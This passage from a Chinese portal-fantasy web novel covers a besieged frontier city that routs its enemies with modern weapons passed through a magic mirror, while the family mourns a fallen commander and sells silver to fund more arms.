袁博文压住心里的愤怒:“……他到了涵谷关,放了信号,泗阳关那边并没有回应……” 他想起了商泽的话。 放了信号后,关正说不能等了。那是因为他们距离北凉的大本营不远了。信号能被泗阳关看到,也必然会被北凉人看到。 如果按照约定,泗阳关那边接到信号后发动攻击,涵谷关的守兵必然心惊,这时候偷袭,会有事半功倍的效果。 可惜泗阳关并没有动静。 关正等人行动后,很快就陷入了重重包围。 “……雁北山峡谷也没有人接应!” 庄静的眼泪又落了。 出发之前,她问过关正,如果霍云泽的人不出现呢? 关正没有回答,只嘱咐了一句,睡吧。 她这是一语成谶吗? “夫人跟岭南那边近来有过联系吗?” 庄静摇头:“晋州被围后,我们就没有再往外面送过信了。” “我想请夫人写封信,把这件事情告诉岭南关家!” 关正不能白死!他没人没势,一时间撬动不了镇北王府,但岭南关家是世家大族,即便是一样无法抗衡镇北王府,至少也会让镇北王府难受。 庄静一下子明白袁博文的意思了。她擦了一把眼泪,让袁博文稍等,很快写了信,交给了袁博文。 袁博文接过后并没有打开,只又作揖:“夫人,今明两天,晋州会有些动荡,还请放心,我们一定会平安无事!” 庄静心里一跳,欲言又止,最后只说了一个好。 袁博文走后,她再也支撑不住,软绵绵往下倒,丫鬟婆子吓坏了,连忙将人扶到椅子上坐下来。 庄静定了定神,想起袁博文刚才的话,压下了心中的悲痛。 “去把大小姐和少爷叫来!” 丫鬟去了。贴身的婆子安慰说道:“夫人切莫乱了阵脚,眼下时期,大小姐和少爷还要有人照应。” “我知道!”庄静哽咽回答。但一会后,她还是哭出了声。 婆子连忙帮着擦泪。听到脚步声响后,她说:“夫人快别哭了,大小姐和少爷来了!” 庄静立马止住了哭,擦了擦眼角。 关景钰和关景和进来了。关景钰眼尖,看出了庄静的异常:“娘,你怎么了?” 庄静拉过女儿的手:“刚才你们袁叔叔过来了,说这两天晋州会有些不太平,你们小心些。” 关景钰点头。 关景和年仅十岁,自打知道父亲房里的望远镜和弩/箭是袁博文从海外得到后,就对海外很是憧憬,逮住袁博文问了好几次。 “袁叔叔走了吗?” 庄静看到儿子一副不谙世事的样子,悲从中来:“走了。景和,你爹不在家,你要懂事些,这两天不要出去了。” 她不敢把关正出事的事情告诉孩子们,袁博文临走的时候虽然没有交待,但她看得出晋州马上要发生大事了。她不能让这件事情坏了晋州的军务。 关景和点头:“娘你放心,我不出去。” 第78章 第78章 降维 庄静忍住了悲痛, 嘱咐了几句后,让关景和出去了。 “娘,你怎么啦?”等到关景和不见人影了, 关景钰又拉着庄静低声问。 庄静强颜欢笑:“我没事。” 她看着女儿, 想到从此以后孩子们没了父亲, 晋州偏又是这般困境, 一不小心大家都活不成。她打起了精神。 “园子里的油布棚子搭起来吗?” “嗯!” 关景钰很兴奋,将新搭建的油布棚子形容了一番, 又说了想种几样菜,这些都是她爱吃的。 庄静抚了抚关景钰的鬓角:“这种菜并不是把种子洒到土里就可以了,袁夫人能种出菜,定是费了不少心思。你可不能盲目来, 得空了要多往袁府取经学习。” 关正去了,他们就跟浮萍差不多, 在这晋州城,能仰仗的只有袁子虚。 关正离开的时候就交待过,他要是回不来,让她务必跟紧了袁家。不仅他们, 整个晋州城能否脱困,希望还得落在袁子虚身上。与他们夫妻交好尤为重要。 关景钰乖巧点头。 打发了女儿,庄静取下了头上的钗环,换了身素净的衣裳,嘱咐婆子把才挂上去没多久的喜气灯笼取了下来。 关景和从厅堂出来后, 还在想庄静的话, 边走边问小厮钱贵:“你说是不是又要打起来了?” 钱贵苦着脸:“少爷,您这不是为难我吗?这我哪知道?” 关景和敲了敲钱贵的额头:“不知道,难道你不会去打听吗?” 钱贵叫苦:“军务大事, 我可不敢打听,要是让老爷知道,打断腿都算是轻的。” 关景和虽心痒难耐,但也知道钱贵说的是实情,他哼了一声:“什么都不知道!你说你有什么用?” 钱贵嬉皮笑脸哄着说了一会话,陪着关景和进了书房,等到关景和看起书来,他就在旁边的太师椅上坐了下来。 屋内炭火暖和,不知不觉中,钱贵睡了过去。 “什么声音?” 突然响起的说话声惊的钱贵差点从椅子上掉下来。书房里,持着毛笔的关景和已经停了手,正侧耳在听。 钱贵打起了精神,果然听到不寻常的动静,像是有什么东西正从外面大街上驰过,连绵不绝。 车队? 这就稀罕了!自打晋州被围,外面大街上再也没见过大车队了。 钱贵跳起来:“我去看看!” 从后门出去,穿过巷子,钱贵就看到了人墙,似乎大半个晋州城的人都出来了,大街上被挤得水泄不通。 钱贵个子矮,看不到中间发生了什么事,便从人缝里挤了进去。一个像板车,但又不是板车东西正从跟前过去。 钱贵惊奇极了,第一次见到这么稀奇的玩意儿,底下像车轮的东西并不是木制,中间像是铁,被什么东西鼓鼓囊囊包了一圈,走的又平又稳。 上面罩了块黑布,露出的部分都是铁制,其中有个像烟囱的长管伸了出来,也不知道是什么。 两名士兵在后面推着。 他们在书房里听到的声音就是这东西传出来的。 这玩意儿不止一个。钱贵数了数,竟然有八个。也不知道怎么造出来的。不仅他不认识,从周围的议论声中也可以得知,他们也没见过这玩意。 后面一队士兵走了过来,既没有拿刀,也没有持枪,只脖子上挂了一个大东西,像是铁制,奇形怪状。钱贵也没见过。 再后面就是个庞然大物了。比他们府上的马车还要大。前面像是个透明罩子,有个人在里面。后面罩着一层像是展布的东西,严密紧实,看不到里面是什么。 既没有马和骡子,也没有车夫,那个大家伙竟然在动,四平八稳从钱贵面前过去了! 钱贵的眼睛都直了。 这玩意到底是什么?虽然底下几个像轮子的东西在动,但马呢?也没见着人力在拉! 直到东西过去后,钱贵才想起来,自家少爷还在书房里等消息。 他麻溜钻出人群,跑回了关府。 “少……少爷!您快去看,外面可热闹了!” 关景和丢了笔,走到门口了,突然想起来他答应过庄静,要呆在家里,不出去。 犹豫了一会,关景和拉着钱贵问:“怎么个热闹法?” 钱贵还没震惊中醒过神:“……好多人!还有军爷!他们推着个…八一四八一六九六三…铁疙瘩,那东西有这么大……” 比划了一番,钱贵觉得不对,那东西前所未见,还有后面的大家伙,既没有马和骡子拉,也没有人赶,竟然就这么滚动了起来。 钱贵还没有说完,关景和就放开了他,往前院跑去。 “少爷!等等我!” 钱贵赶紧跟上。 再次来到大街上,那些稀奇玩意已经过去了,一队队士兵正往城门方向开拨。 “要打起来了!” 毕竟是行武世家出身,关景和很快就看出来了。 钱贵张望一会,看到了先前那个大家伙的屁/股,连忙拉了拉关景和:“少爷,你快看!在那边!” 关景和顺着钱贵所指看过去,一下子眼睛直了。 两人连忙追过去。 军队行进的速度并不慢,但关景和跑的急,很快就看到了全貌。 他觉得钱贵形容得一点儿都不像。这大家伙分明就是车!只是并不靠常见马或骡子等拉动,而是里面有人在操控。 至于怎么操控的,他也不懂。他惊奇极了,追着车跑。 在快要靠近城门时,关景和被拦了下来。 城门打开,那东西驶了出去。一队队士兵也出去了。 要打起来了! 那东西肯定是用在战场上的! 关景和心急火燎,张望了一番,看到了一张熟面孔。 “童队长!” 巡防营队长童成正在设置警戒,他们已经得到开战的命令。这命令来得很突然,他都来不及跟家里知会一声。 听到声音,看到了关景和,童成过来了。 “大少爷!您怎么来这里了?” 关景和笑着说:“刚才出城的是铁车吗?” 童成的脸皮子跳了跳。他也不知道,今日算是开了眼界,看到了好几样新东西。 不过,他觉得关景和的说法贴切。 铁车!可不就是?马拉的车叫马车,牛拉的车叫牛车,那大家伙整个一铁疙瘩,既不用马拉,也不用牛拉,底下的轮子自个就能动,可不就是铁车? “小的也不知道。” 关景和往城墙上指了指:“我能上去看看吗?” 童成虽然知道眼前这位是晋州守备大人的独子,但规矩就是规矩,他摇头:“大少爷,您别为难我了。” 钱贵见童成这么没眼力,正要说道,关景和拉了拉他,钱贵把到嘴边的话又咽下去。 关景和佯装失望,转身怏怏离开,却瞅了童成和周围巡防士兵不注意,麻溜往城墙上跑。 城墙的台阶上士兵们来来往往,正忙碌着构建攻防事宜,没人理会经过的两个半大孩子。 关景和跑上城墙后,喘了几口粗气,踮起脚往下方看。 城门口的空地上士兵们列队站着,旌旗飘飘,队伍的前面一字排开着数个拖车一样的东西——那应该就是钱贵见过的铁疙瘩。 此时那东西上面蒙着的黑布已经被取了下来,露出了一根烟囱一样的长管。几名士兵正在旁边忙碌着。 不远处,北凉人也正在快速集结。 两军对垒,号角声也响起了。 一会后,那些在铁疙瘩旁边忙碌的士兵们陆续站了起来。 一位士兵出列了,他嘴里叼着一个东西,看了一圈后,挥动了手中的旗子,一阵尖锐的哨声同时响起。 关景和正看得入迷,突然听到“轰”一声巨响,他吓得往后倒去,余光看见铁疙瘩上那根烟囱里突然冒起了烟,像是有什么东西冲了出去。 钱贵就站着关景和的旁边,他也被突然响起的声音吓到了,但看到旁边的关景和就要倒地,连忙抱住了,先一步倒下。 两人滚成了一团。还没爬起来,就又听见一声轰天巨响。像是巨大的炮仗炸开,脚下的城墙似乎都晃了晃。 马惊慌嘶叫的声音响起了,喊杀声随后也响起了。乱七八糟的声音在不远处,还没有传到近处来,就被一阵扑扑扑声响压制了。 关景和忍住了捂耳朵的冲动,爬起来后,就往下方看,城门口的士兵依旧列队站着,与与先前竟然一模一样。 乱起的是北凉一方,潮水般汹涌扑过来的北凉士兵还没有近到跟前,就像是中了邪似,一片一片倒下了。 关景和惊呆了。 再仔细看,城下晋州守军并不完全是先前的队列,有一队士兵已经出列,手中端着一根长管样的东西,突突突朝着对面扫射。 随着他们动作,冲在最前面的北凉人一片一片倒下了。 看着以往凶神恶煞的北凉人就这样倒下,关景和浑身的血液都沸腾了,呼吸都忍不住急促起来。 “轰!” 又是一声巨响。 这次关景和没有被吓到,他看到发出声音的正是队伍前列的那些铁疙瘩。有东西从铁疙瘩上的烟囱里冲了出去,落到了不远处的北凉营地中。 北凉人的营地升起一朵腾腾翻滚的黑云,惨叫声远远传来,像是天籁。 黑云一朵朵升起,原本密密麻麻的营帐也看不清楚了,但关景和知道,那里的北凉人正在经历炼狱。 第79章 第79章 缺钱 关景和正看得热血沸腾, 突然被人抓着后衣领提了起来,远离了城垛。 他慌忙挣扎。看清楚了来人,正是巡防营主将江虎。 “江将军, 你干什么?快放开我!放开我!” 江虎没有理会, 和手下的人分别提着关景和和钱贵下了城墙后, 才松手。 关景和摸了摸有些疼的后脖子, 心思还在城外的战场上。 江虎脸色不愉:“大少爷,你们来这里干什么?赶紧回去!” 关景和知道自己做错了, 眼神闪躲:“我……我们也就看看!” “胡闹!不要命了吗?童成,赶紧把大少爷送回去!” 关景和不想走,外面还在炸,隔着城墙都听到喊杀声, 但看到江虎肃重的脸色,辩解的话语到了嘴边, 他又咽了下去。 “大少爷!请!”童成的脸色也不好看。 关景和只得歇了心思,一步三回头离开了。 江虎看到关景和走远后,转身上城墙,看到城外的战况, 他的手不由得握成拳头,激动得捶了捶城墙。 袁大人拿出的新军/械属实厉害!只这么一会儿,北凉人的营地成了火海!到处都是逃窜的人!也不知道有多少北凉人被射杀!他们颓势尽显! 城下的袁博文看到零散逼近的北凉兵马,扬起了手中的大刀,大喊一声:“杀!”带头冲了过去。他的身后, 早已蓄势待发的晋州守军紧随其后。 夕阳西下时, 大战到了尾声,只有零星的枪声伴随着惨叫声响起,开始清点战场了。 袁博文浑身是血, 看着士兵们忙碌着填充弹/药。长枪营副将霍小北小跑过来。 “大人,有队北凉敌军从那边逃走了!”他抬手指了指,正是往郴州的方向。 袁博文看了一眼:“不用管他们!” 他已经安排了十余机枪手和一队大刀营士兵埋伏在外围,应该不会有人能活着逃到郴州。 “是!”霍小北看了一眼不远处的迫击/炮,目光火热,咽了咽口水。继续带人清点战场。 黄峥也过来了。这一战他的骑射营几乎没怎么出力,出大力气的是那些他前所未见的铁疙瘩。 “大人,那些是什么?”他指着迫击/炮,眼睛发亮,“怎么造出来的?属实厉害!” 一边说着,一边激动得竖起来大拇指。 袁博文凉凉看了黄峥一眼:“不该问的,别问!” 黄峥心中一凛,恭敬应道:“是!” 袁博文转身走了,心里却默默说了句对不住,不是他非要拿腔作调瞒着,而是不能说,说了就是害了他们。 他拿下郴州的目的,就是为了后面情况不好时开溜,但是到时候他不可能带上所有的人。留下来的人势必会面临许多打探。知道的越多,他们也就越麻烦越危险。 清点战场一时半会完成不了,袁博文瞅了空隙,来找谢云溪。她正在医棚里忙碌着,挺着大肚子,指导念荟和贺天凤给一名伤兵缝合伤口。 “你怎么来了?外面情况怎么样?” 袁博文小心翼翼扶着谢云溪坐下来。 “正在清点战场,这一战打得很顺利。” 超乎了他的预料,近乎降维打击。高大魁梧的北凉士兵在枪/炮的压制下,几乎没有还手的余地。 以往可不是这样。大顺子民的体格普遍不如北凉人,再加上北凉人善骑,往往两三个大顺士兵都不一定打得过一个北凉骑兵。 今天反过来了。再强壮的血肉之躯也挡不住子弹的扫射。 谢云溪虽然在城里,也听到了外面的动静,那一声声炮/响使得原本不知道情况的晋州居民都震动了。 知道打起来了,许多居民都自发过来帮忙,但抬进医棚的伤患远没有以往任何一次战时多,这一次,她都没怎么动手。 可想而知,战况是偏向他们的。现代化武/器果然非同一般。 谢云溪坐下来了:“关正的事情,你打算什么时候说?” 她知道关正出事了。开战之前,袁博文回来了一趟,告知了这件事情。他们确实没有退路了,不能等到北凉大军来犯,晋州太小了,拿下郴州后,才有回旋的余地。 关正出事的事情目前只有军中的人知道,城里的老百姓并不知道,他们连关正什么时候离开的也不知情。 “等拿下郴州之后再说。” 谢云溪点头。现在宣扬开来确实不妥,会乱了人心。拿下郴州后,老百姓心里有了底气,局面会容易控制些。 “淼淼那边,要跟她说吗?” 这一战是临时决定,袁博文是敞开了在干,时间紧急,他还没来得及跟袁淼说。 “说吧!” 袁博文觉得今天自己不一定有时间回去,这一战消耗了不少,拉出来的一车弹药去了大半。 好在收获也不小。北凉人被他们打了个措手不及,物资除了被烧掉了,还剩了不少。 尤其战马,炮/弹一响,许多战马受惊失控,北凉士兵不知道有多少人惨遭踩踏,刚才他粗略看了看,无主的战马不少。 “我把吴万乾带在身边了,等清点完后,我让他来找你,缺什么,你跟淼淼说。” 一旦战起,物资的消耗跟流水似。今天只打掉了晋州城外的钉子,就消耗了不少,虽然有所补充,但现代化军/械所的补充在这里的战场可找不到,这一块只能靠女儿。 “好,我让她先准备好。” 打战最要紧的就是钱,购买军/械之前,钱必须到位。 袁博文也想到了。购买这批军/械的时候,女儿就跟他报过账。 贵!现代化军/械是好用,但价格也惊人。他们这段时间挣的钱,这次估计得全部砸进去。 接下来还要购买大船,还不知道从哪儿捞钱。 虽然他对船只等之类的行情一无所知,但他估计绝对不是一个小数。他们如果开溜,要带走的人可不少。至少他现在掌控的大刀营和后来挑出的新兵得全部带走,还有府里的这些人等。 这些人参与的太深,把他们留下来,就跟让他们去死差不多。他们夫妻拿出来的现代化物品,这些人都摸过看过。 尤其那些个新兵,为了让他们尽快熟练现代化军/械,他不仅手把手教,还告诉了不少原理。 这些人要是落到有心人手上,那还能好的了? 船越大,肯定价格越高。钱从哪儿来?真是个令人头疼的问题。 “你怎么样?没有受伤吧?”谢云溪注意到袁博文脸上的血渍了。 袁博文胡乱擦了一把:“我没事,没有受伤,你早些回去,别累到了。” “放心吧,我心里有数。你要是有事,赶紧去忙。” “好,你自己注意点。” 袁博文确实很忙,城外的战场清点完后,马上就要往郴州开拨,他们得赶在北凉大军来之前拿下郴州,筑好防线。 袁博文离开了,谢云溪又在医棚里忙了一会,天黑了才回府里。 袁淼早就在等在镜子跟前了,她这几天有些心神不宁,总觉得有事情要发生,看到谢云溪后,连忙问平安。 “我们都好。”谢云溪顿了顿,“关正死了。” 袁淼吃了一惊:“什么时候的事?” “今天商泽回来了……” 谢云溪把商泽带回来的消息告诉了袁淼。 袁淼久久不能平复。 “爸爸呢?他怎么说?” 袁淼虽然加了好几个军事爱好的群,也经常泡在里面听人指点江山,但实际上她对战争可以说是一无所知,局势会怎么发展也没有头绪。 “你爸决定尽快拿下郴州,他们今天就行动了,你上次传过来的军械这次用上了。” 袁淼的嘴巴都忘记合上了,一会后才说:“……怎么样?效果怎么样?” 谢云溪点头:“晋州城外的北凉营地都被炸平了!他们伤亡不小,你爸还在那边忙。” “……爸爸没事吧?晋州的伤亡情况呢?” 袁淼没想到战争会这么快打完了,以前数次与北凉交战,父母那边总是显得艰难。 “还好,这次伤亡不大。” 具体战损情况,谢云溪并不知道,只是通过送到医棚的伤兵推测,情况比以前几次要好多了。 袁淼松了一口气,打了胜仗就是好事,伤亡越少越好。 “爸爸什么时候回来?是不是还要买些军械?” 军/械属消耗品,用了自然要及时补充,否则下次怎么打? 谢云溪点头:“你先把钱准备好,我估计这次要不少军/械,郴州那边不好打。” 袁淼想到父母以前对郴州的说法。那是北地第一重城,城墙很高,易守难攻。 “好……大概需要准备多少钱?”她想到了自己手上的钱。才付了房款。虽然在宋颜的帮助下,房价比他们先前谈好要低,但也是个天文数字。现在她手上的钱并不多。 谢云溪也不知道,得吴万乾过来之后,她才知道需要买什么。 “其他的呢?” 谢云溪想了想晋州的情况,大体上算平稳,晋州居民日常生活物资基本上都能在谢记的几个铺子里买到,价格也并不贵。 这些日常生活物资虽然需求大,但购买的价格都不贵。 主要还是战/备那块,这些只有袁博文知道。她比较清楚的是医药这块。 战时需求量最大的药物就是抗生素,其他比如碘伏酒精棉球纱布夹板等,也是大头,好在这些并不贵。 他们都已经拿出现代化军械,伤兵医治这一块也没必要藏着掖着了。不过,懂西医就她一个。军中医官对她的那一套早就见怪不怪了。也许,她可以组织些人手,在这方面培训一下…… 谢云溪想到了庄静,开先河的事情如果有人能带头就好了。 第80章 第80章 贵人 “抗生素买一点, 青霉素的效果不错,还有头孢……” 谢云溪按照以往经验点了几样药,又说了碘伏酒精棉球纱布夹板等, 也让袁淼记下了数额。 袁淼停了笔后, 她又问:“你现在手中有多少钱?” 袁淼看了看自己的账户, 把数额报给了谢云溪。 谢云溪觉得不够, 她没忘记上次袁淼购买军械时报的账,对其价格印象深刻。那钱就不像是钱, 在这一块用起来跟流水似的。 “你等等!” 镜子里的谢云溪不见了,一会儿后再出现,袁淼发现她的身后多了两个大箱子,镜子跟前也多了一个匣子。 谢云溪拍了拍匣子:“这里面是金子, 有一千两。”又看向身后的箱子,“那两个箱子里面都是银子, 有两万两。” 袁淼已经见怪不怪。但是接收银子,她还是第一次。 两万两!也不知道父母攒了多久。 “一会儿我传给你,你想办法尽快出手,这次……我们可能需要不少钱!” “好!” 袁淼没有推迟。现代化军/械贵!她深有体会。上次买的并不多, 她就用了不少钱。这一次父亲要打郴州,需要的军/械肯定更多。 没钱,军/械从哪儿来? 谢云溪将东西传了过去。袁淼打开了匣子,里面齐整排着一锭锭金子。 她并没有马上清点。 至于另外两个箱子,她只看了一眼, 没有打开。 谢云溪又挪过来一个匣子:“这是这段时间当铺收到了货……” 她把匣子也传给了袁淼。袁淼打开看了看, 里面多是些首饰和古玩。 谢云溪又问:“珠宝店的生意怎么样?” 袁淼点头。原本靠着两边的利差,她觉得能赚个盆满钵满,今天事情一来, 她才醒悟,自己太天真,钱赚得容易,花起来更容易。 “一会儿你别出去了,等你爸那边来人了,我再告诉需要买什么。” 郴州战事再即,谢云溪也顾不得让女儿休息了。 袁淼答应了。断开联系后,她就开始清点谢云溪传过来的东西。 金子一千两,大概能兑一千多万RMB。加上她手上原来还有的,凑够两千万没问题。 这么大的量金子,也只有实力雄厚的奢侈品店能吃下。 袁淼想到了宋颜。自打上次他突然说了那么一番话后,她就有意识的远离了宋记。 自己既然没有那方面意思,就不要让人误会。 房子的事情,是宋颜主动联系她。这是先前说好的,太刻意反而显得生分,况且,她手头并不宽裕。 事后,她请宋颜吃了顿饭,但把沈若君也带上了。 现在,她又要去找宋颜吗? 袁淼犹豫了一会,看了看旁边的两个大箱子。 里面是两万银子。 这个更麻烦,她从没有兑换过银子。博云珠宝也没有开展金银回收的业务,但她知道我guo白银储量惊人,银的价格不高。 市面上一克白银大约能兑七元左右。这还得看银的纯度。 袁淼打开了箱子,一个箱子里面的银子是元宝样式,另一个箱子里面的银子则是块状。 她拿起一个银元宝看。底部有字:祥和制铸,乾元年月,十两。 她知道祥和是父母那边有名的大银楼,乾元大概是铸造的时间。 至于标注的十两,每个时期价值都不一样。唐宋时期的十两银子和大清的十两白银价值就有很大区别。 排除收藏的意义和白银纯度外,金银现代统一以重量评估价值。 袁淼用手掂了掂,同样是十两银元宝和银块的重量差不多,一锭约莫有四五百克的样子。 若是兑换,这一锭十两的白银,按照重量大概可以兑到三千多元。 两万两白银,约莫能有六七百万元钱。 两箱银子,看起来惊人,其实价值并不高。也就能买到五六支迫/击/炮,还不包括炮/弹。 一发炮/弹三四千元! 袁淼舒了口气。宋颜那边还是要维系好关系。 还有周晟。 他们都是贵人! 看完金子和银子,袁淼又打开了谢云溪传过来的首饰匣子。 里面的首饰,全新的不多,只有五六件,其他都有磨损,好在磨损都不大,应该是母亲挑选过。 这些磨损,问题不大,博云珠宝有专门的珠宝修复师。 珠宝首饰古玩等奢侈品才是来钱的大头。可惜,她只有一家珠宝实体店和一个网店,销量顶天了,也大不到哪儿去。 清理完谢云溪传过来的珠宝首饰后,袁淼准备到地下室看看哪些东西可以快速变现,镜子突然发生了变化。谢云溪又回来了。 她手上拿着一张纸。 袁淼连忙问:“是不是爸爸回来了?” 谢云溪摇头:“你爸今天晚上不回来了!”她看了看手上的纸,“这是他让人送回来了,他让你买……” 袁淼连忙拿了字和笔过来,记下了谢云溪的话。 记完后,她粗略看了一眼,松了一口气。好像还好,这次父亲需要的军/械的不多,她手上的钱应该能买到。 谢云溪也松了一口气,拿到吴万乾送过来的清单后,她粗略算了算,女儿的钱手可以满足这次的购买。 但想到战争的多样性,没有人能保证郴州这次一定能马上拿下。即便拿下了郴州,后面还有硬仗要打,退路也要早早准备好。 “我刚才传给你的东西,你还是要尽快出手。你爸那边如果顺利拿下郴州,我们后面还有硬仗要打,可能还需要购买一艘大船!” 袁淼惊住了:“买船?多大的船?干什么用?” “当然是运载人的!” 谢云溪顿了顿,“这次关正出去,你爸让他带上手/榴/弹,炸死了不少人。你爸觉得我们……处境不太好……” 袁淼的脸色一下子变了,她想到问题的严重性了。 冷兵器时代突然冒出了手/榴/弹这么惊人的东西,就像一堆玩泥巴的人当中突然有人拿出手机,这下子所有人的注意力还能在泥巴上吗? 恐怕,不仅北凉那边,泗阳关甚至大顺皇帝都会盯上父亲。 难怪父亲突然在战场上用上了现代化军/械。 是她太迟钝了! 父母这是在准备跑路。他们的处境很危险!父亲要急着拿下郴州了!是因为郴州,靠山!临海! 有船,情况不妙,他们就可以乘船从海上离开北地! 大顺类似唐宋时期,航海肯定不发达,父母上了现代化大船,那些居心叵测的人想追都没办法。 袁淼连忙点头:“我明白了!妈,你别担心!我会尽快筹集资金,打听买船的消息。” 谢云溪笑了:“你也别心急,我们也是未雨绸缪,不一定会到那一步。” 袁淼没法放松,乱世里,人命如草芥,人心又难测。简直步步惊心。 跟母亲说完话后,袁淼就打电话联系王振声,说了购买军/械的事情。 王振声很热情,问清楚袁淼想买什么后,表示会尽快给她回复。 挂了电话,袁淼就去了地下室,把积攒了一段时间的中草药清点了一番,又在网上搜索了买船的消息。 果然是天文数字!能容纳上千人的游轮,造价至少数十亿! 她知道父母重情重义,跟着他们的人不少,光身边伺候的就有一百多人,还有跟他们关系好的,比如威远镖局的人。 还有父亲挑选出来使用现代化军/械的士兵们,以及他们的家人。 这些人,父母肯定会全部带上!那船要多大,可想而知了。 容纳上千人,绝对是要的。 数十亿! 袁淼打起了精神。 第二天,袁淼就忙开了,让沈若臻和小丁来了一趟,把清点好的中草药交给他们,让他们尽快出手。 又把药品清点给了沈若臻,让他尽快联系购买。 给宋颜打电话前,袁淼犹豫了一会。 电话接通后,她尴说了几句开场白后,问:“宋总,宋记回收银子吗?” “……你有多少?”电话那头的宋颜并没有回答是与否,而是直接问。 袁淼大喜:“两万两……不是!是……一千……公斤……” 话到最后,她的声音不由得低了下去。 昨天晚上,她在网上查了一会,白银的回收远不如黄金受欢迎。实际上,许多奢侈品门店并没有开展这项业务。 “好,你在哪里?我来找你。” “不用了!”袁淼连忙说,“我……” 宋颜打断了她的话:“一千公斤并不是一个小数,你确定你能搬得动吗?” 袁淼回头看了看。 确定……不行! “你在家吧?我二十分钟后过来,你等我。” 袁淼还没说话,电话已经挂了。 她呆了。 话还没说完呢,回收的价格是什么? 这人怎么会这么性急?以前不是这样啊。 刚才就像等到了期盼许久事情一样,简直迫不及待。 这是还没死心吗? 心思才飘远些,袁淼马上勒令自己打住。 父母处境危险,不能这时候胡思乱想!赚钱才是头大大事! 她赶紧清理现场,期间看到了堆放在暗格的人参。这几盒都是百年以上的珍稀品,市场上有钱都买不到。可遇不可求。 她挑了一个品相很好的拿出来。 听到楼下的动静后,袁淼赶紧下了楼。 宋颜正站在门口,身边还跟着见过两次面的黄经理,以及两位穿着工服的人。 袁淼笑着把他们迎了进来。宋颜环顾一圈后,问:“东西在楼上吗?” “是的!”袁淼带着他们上楼,一边问:“宋记回收白银,现在是什么价?” 黄经理看了宋颜一眼:“七千五,每千克。” 袁淼暗喜,这个价比她昨天晚上在网上查到要高。 打开了书房的门,就看到了两个大箱子,工作人员正要进去,黄经理说:“你们先在外面等会。” 宋颜进来后,黄经理才进去。 宋颜看着房间里的箱子问:“是这个吗?” “是的。”袁淼打开了箱子,拿出了里面银元宝,递给了黄经理。 80-90 第81章 第81章 办班 黄经理验证过后, 冲宋颜点了点头。 箱子搬上了车。 袁淼松了一口气。 到账了七百万。 其实,她还有大量黄金要出手,但这种事情不好太扎眼, 虽然她相信宋颜。可其他人不好说。 “宋奶奶好些了吗?” 宋颜推了推眼镜:“好些了, 昨天还跟我说起你, 问你住在哪里?” “是吗?”袁淼很惊讶。 这很少见, 阿尔兹海默症患者记忆受损,越到后面越严重, 只有印象非常深刻的事情,才会在他们记忆里留下痕迹。 宋颜点头:“我跟她说,你家正在装修,过些天就能搬过来, 她很高兴,还说要请你到家吃饭。” 袁淼笑了。吃饭……倒是个契机。怎么买船, 她一点头绪都没有。宋颜的人脉很广。 “这顿饭应该我请,宋总又帮了我大忙。”袁淼笑着说,看了看前面的车,两万两银子就在那辆车里。 宋颜的唇角微微上扬:“那……今天晚上你有时间吗?” “呃……有!” 宋颜脸上的喜悦更明显了:“我来接你?”他说了时间和地点, “我家的厨师不错,苏菜做的很好。” 袁淼暗暗惊讶宋颜的细心,他们也就一起吃饭三次饭,没想到,他就知道了自己的喜好。 “好啊!” 约好后, 宋颜走了。袁淼回了房子里。王振声的电话打过来时, 她还在地下室里忙活。 上面同意了这次的军/械交易,袁淼很高兴,跟王振声约好了交易的时间和地点。 挂了电话, 王振声感慨了一声。 刚才,两人闲聊时,袁淼说起她的父母,他们那边形势不太好。 这些他看出来了。袁博文夫妇性格谨慎保守,不到万一,他们是不会使用现代化军械。 实际上,上面希望袁博文夫妇能在另外一个世界大展拳脚,把两个世界的互通做大做强。 不过,希望归希望,个人意愿还是要尊重。现在,他们遇到了困难,这个忙自然必须要帮。两个世界能互通有无,对大家都有好处。 他也跟袁淼提过,有什么困难,都可以来找他。 希望小姑娘能明白。 * 这天,谢云溪也没闲着。天还没亮,外面大街上动静就不小,她估计晋州全城的人都惊动了。 十几辆卡车出城,还有坦/克炮/车等,以及各营将士,浩浩荡荡,走了一个将近小时。府里看大门的福伯都出来看热闹了,回来之后,说的热火朝天。 昨日一战,战况并没有对外宣布,但还是有消息灵通的人在传。袁将军拿出了新式武器,威力惊人,城外的北凉人吃了败仗,他们整个营地都被夷平了,除了极少数人逃脱以外,其他北凉人全部被歼灭。 尘嚣未歇,大清早又是这样的动静,原本还算平静的晋州城炸开了锅,说什么的都有。 好在被关禁闭了数月,民众早就被教导的依从性很强,巡防营又给力。虽然城里很热闹,但是闹事的没有。 不过,谢云溪知道,此时的晋州城一定是内松外紧。 袁博文拉走了大批人马,晋州城内兵力虚弱,留下来的人,包括晋州府衙,现在肯定神经紧绷着。但谢云溪相信,袁博文肯定留下了后手。 从晋州到郴州,往日得需要三四天才能到达,若是急行军,也得要一两天,但如果开车,也就小半天的功夫。这还是路况不太好走的情况下。 晋州即便有事,开车出去的人,赶回来也来得及。 谢云溪不慌不忙,跟袁淼联系过后,便带着念荟和贺天凤来到了关府。 庄静虽然有些憔悴,但精神还好。亲自过来搀扶了谢云溪。 “你有事,打发人过来说一声就行,怎么自己还来了?累不累?” “不累,动一动,挺好。” 扶着谢云溪坐下来后,庄静又问:“我听说你昨日也去医棚帮忙了,我原本也是要去的,家里的孽障太不懂事,为了他,医棚我也没去成。” “景和?他怎么了?” 谢云溪挺喜欢关正的两个孩子。关景钰自然不用说,看到她,谢云溪就忍不住想起自己的女儿袁淼。他们夫妇离开的时候,袁淼也就关景钰这般年纪。 关景和虽然有些皮,但男孩儿鲜少有不皮的,只要品相端正就很好。 至于昨天,袁博文才去关府报信,关正没了,庄静的心情能好,那才叫奇怪。关府没人出来帮忙,情理之中。 庄静叹了口气,凑近了说:“昨日打起来的时候,他居然上城墙去看了!” 谢云溪也吃了一惊。战时城墙上并不安全,厉害的弓箭手,都能从城外射到城内,更别说城墙上了。没有防护,任何人都是靶子。关景和也就十岁,还是关正和庄静唯一的儿子,他要是出了事,庄静得疯。 “人没事吧?” 庄静点头:“巡防营的人及时发现了,把他送了回来。” 谢云溪松了一口气。不用问,关景和挨一顿罚少不了。 “那就好,现在形势严峻,确实得看好孩子们。”谢云溪看了庄静一眼,心里佩服她的沉着冷静。拉了她的手,轻叹了口气,关心问:“你还好吧?” 庄静的眼圈瞬间红了,点了点头:“其实,我有预感……” 关正离开的时候就像是在交待后事。夫婿是军中的人,家眷们都知道生死无常,沙场上刀剑无眼,心里也都早有预备。 她只是恨,晋州坚持了这么久,好不容易才跟外面联系上,却被自己人坑了 ,关正也因此丢了性命。 这番死法,憋屈愤慨,让人意难平。 